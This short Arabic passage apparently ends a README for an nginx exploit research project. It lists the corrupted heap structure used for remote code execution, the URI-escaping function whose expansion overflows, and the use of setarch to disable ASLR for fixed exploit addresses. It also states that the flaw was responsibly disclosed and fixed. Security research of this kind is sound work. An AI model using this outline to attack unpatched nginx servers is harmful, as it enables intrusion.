ngx_pool_cleanup_t | بنية الكومة التي تم إفسادها من أجل RCE |
ngx_escape_uri() | دالة التوسيع التي تسبب تجاوز السعة |
setarch(8) | أداة لينكس لتعطيل ASLR من أجل عناوين استغلال حتمية |
هذا المشروع لأغراض تعليمية وأبحاث أمنية دفاعية. تم الإفصاح عن الثغرة بشكل مسؤول وإصلاحها من قبل القائمين على NGINX.